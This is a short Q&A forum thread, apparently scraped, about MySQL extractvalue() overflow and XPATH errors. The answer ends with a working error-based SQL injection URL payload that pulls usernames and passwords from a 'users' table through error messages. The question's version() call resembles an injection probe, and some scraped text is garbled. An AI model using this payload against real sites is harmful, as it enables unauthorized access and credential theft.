MySQL extratvalue range, output and parsing issues - mysql

Question

I'm learning MySQL. My query is follows:
mysql>select extractvalue(1,1111111111111111111); // 19 1's.
output:
`+-------------------------------------+
| extractvalue(1,1111111111111111111) |
+-------------------------------------+
| 1111111111111111111 |
+-------------------------------------+
1 row in set (0.00 sec)`
But for 20 1's
mysql>select extract(1,11111111111111111111);
+--------------------------------------+
| extractvalue(1,11111111111111111111) |
+--------------------------------------+
| -7335632962598440505 |
+--------------------------------------+
1 row in set (0.00 sec)
And the following show me different errors:
mysql> select extractvalue(rand(),5.5.28));
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '.28))
' at line 1
mysql> select extractvalue(rand(),version());
ERROR 1105 (HY000): XPATH syntax error: '.28'
Can someone explain me?

Answer 1

I tried out these, it seems to work.
SELECT #rand := RAND();
select extractvalue(1,#rand);
However, extract doesn't seem to work and gives the error. Either way I have not managed to use extract or extractvalue to wrap rand(). Reason could be that extractvalue only returns CDATA. Your intention of application doesn't seem to be supported by this function. It's used on XPATH
for e.g.
Select allhttp://www.blablabla.com/error.php?id=null
and extractvalue(rand(),concat(0x3a,(
select concat(0x3a,username,0x3a,password) from users)))
Found this to be interesting: reference